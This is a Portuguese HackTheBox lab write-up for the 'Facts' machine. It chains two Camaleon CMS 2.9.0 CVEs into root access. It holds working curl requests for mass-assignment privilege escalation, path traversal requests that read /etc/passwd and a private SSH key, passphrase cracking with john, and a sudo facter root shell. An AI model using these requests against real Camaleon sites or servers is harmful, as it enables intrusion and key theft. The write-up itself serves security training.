Avatar oficial da máquina Facts no HackTheBox

Facts

Platform
HackTheBox
Difficulty
Easy
OS
Linux

Categories Web · CVE · Privesc

Máquina Linux Easy com Camaleon CMS 2.9.0. Registro aberto seguido de mass assignment (CVE-2025-2304) para virar admin, path traversal (CVE-2024-46987) para ler a chave SSH privada do trivia, e abuso de sudo facter para root.

Recon

rustscan -a facts.htb -- -sV
PortaServiçoVersão
22/tcpSSHOpenSSH 9.9p1 Ubuntu
80/tcpHTTPnginx 1.26.3 (Ubuntu)
Scan de portas mostrando SSH na 22 e nginx na 80
Superfície mínima — só SSH e HTTP. O foco fica inteiramente na aplicação web

A porta 80 serve um Camaleon CMS, um CMS open-source em Ruby on Rails. Identifiquei a stack pelos sinais de Rails 7: o cookie _factsapp_session no formato do ActiveSupport::MessageEncryptor, os assets servidos de /assets/themes/camaleon_first/ e /assets/camaleon_cms/admin/, e os headers x-request-id / x-runtime.

Painel de login do Camaleon CMS com o logo FACTS e link 'Create an account'
O painel do CMS: login, reset de password e — o que importa — registro aberto

A versão não é exposta publicamente: os assets têm nome hasheado pelo Sprockets, sem número visível. Confirmei a 2.9.0 só depois de registrar uma conta e autenticar, quando o rodapé do painel exibe Copyright 2015 - 2026 Camaleon CMS. Version 2.9.0. Os endpoints relevantes são /admin/login, /admin/register (registro aberto) e /admin/forgot.

Foothold

Registration and mass assignment

O ponto de entrada é o registro aberto em /admin/register. O formulário exige um captcha de 5 caracteres servido como imagem em /captcha?len=5 — resolvi a imagem e submeti os campos, criando uma conta com role client, sem privilégios administrativos.

Formulário de registro do Camaleon com campos de nome, email, username, password e captcha
Registro aberto: nome, credenciais e um captcha de imagem de 5 caracteres

Com a conta criada, a CVE-2025-2304 permite escalar de client para admin. O método updated_ajax do UsersController usa params.require(:password).permit! — o permit! sem whitelist aceita qualquer atributo no hash password, incluindo role. A página de perfil (/admin/profile/edit) envia a troca de senha para /admin/users/<ID>/updated_ajax; basta adicionar password[role]=admin ao corpo do request.

curl -s -b cookies.txt -H "X-CSRF-Token: $CSRF" -H "X-Requested-With: XMLHttpRequest" -X POST "http://facts.htb/admin/users/<ID>/updated_ajax" --data-urlencode "authenticity_token=$CSRF" --data "_method=patch&password[password]=<PASS>&password[password_confirmation]=<PASS>&password[role]=admin"
curl enviando password[role]=admin para updated_ajax e recebendo HTTP 200
A injeção de password[role]=admin no updated_ajax responde 200 — a role passou a admin

Com a resposta 200, todos os menus administrativos (Settings, Users, Themes, Plugins, Media) passam a aparecer e /admin/users, antes proibido, responde 200.

Arbitrary file read

Com acesso admin, a CVE-2024-46987 abre leitura arbitrária. O método download_private_file do MediaController aceita o parâmetro file sem sanitização de path traversal.

curl -s -b cookies.txt "http://facts.htb/admin/media/download_private_file?file=../../../../etc/passwd"
Leitura de /etc/passwd via path traversal mostrando os usuários trivia e william
O /etc/passwd revela dois usuários com shell: trivia (UID 1000) e william (UID 1001)

Apontando o traversal para o home do trivia, li a sua chave SSH privada.

curl -s -b cookies.txt "http://facts.htb/admin/media/download_private_file?file=../../../../home/trivia/.ssh/id_ed25519"
Chave OpenSSH privada do trivia vazada via path traversal
A chave ed25519 do trivia exfiltrada inteira pelo mesmo traversal

Passphrase cracking

A chave está encriptada (aes256-ctr + bcrypt). Extraí o hash com ssh2john e quebrei a passphrase com a wordlist rockyou.txt.

ssh2john id_ed25519 > trivia.hash
john trivia.hash --wordlist=/usr/share/wordlists/rockyou.txt
john quebrando a passphrase da chave ed25519 com rockyou.txt, recuperando dragonballz
Passphrase da chave do trivia quebrada com rockyou.txt.

Com a passphrase recuperada, autentiquei por SSH como trivia.

Sessão SSH como trivia com a saída do comando id
Foothold como trivia (UID 1000)

A flag de user está em /home/william/user.txt, legível por qualquer usuário pelas permissões rw-r--r--.

ls -la de /home/william/user.txt mostrando permissões rw-r--r--
A flag de user vive no home do william, mas é legível pelo trivia

Privilege Escalation

A enumeração de sudo entrega o vetor de imediato.

sudo -l do trivia mostrando NOPASSWD para /usr/bin/facter
trivia pode rodar facter como root, sem password

O facter (Puppet Labs) carrega e executa arquivos .rb de diretórios custom via --custom-dir. Como documentado no GTFOBins, isso dá execução de código Ruby arbitrário — e aqui roda como root. Basta um fact custom que chame system.

Facter.add(:pwn) do
  setcode do
    system("/bin/bash")
  end
end
mkdir /tmp/pwn
sudo /usr/bin/facter --custom-dir=/tmp/pwn pwn
facter executando o fact custom como root e devolvendo uid=0(root)
O fact custom roda como root: uid=0(root)

A execução devolve uid=0(root). A flag de root foi lida em /root/root.txt.

Lessons Learned

  • permit! sem whitelist em Rails é mass assignment garantido: qualquer atributo do modelo, inclusive role, vira escalável por um parâmetro extra no request.
  • Registro aberto somado a um CVE de privilege escalation no mesmo CMS encurta o caminho de unauthenticated a admin para dois requests.
  • Binário em sudo NOPASSWD que carrega código externo (facter --custom-dir e os vizinhos no GTFOBins) é root instantâneo — vale checar o GTFOBins antes de assumir que um binário “inofensivo” é seguro.

Impact

  • O portal de conteúdo gerido pelo CMS fica inteiramente nas mãos do atacante: ele pode publicar desinformação, desfigurar o site ou injetar scripts maliciosos servidos a cada visitante — dano direto à credibilidade da marca.
  • A leitura arbitrária de arquivos expõe dados do CMS, configurações e chaves SSH do servidor, abrindo caminho para acesso persistente.

References

Acta
Medalha de São Bento — Crux Sancti Patris Benedicti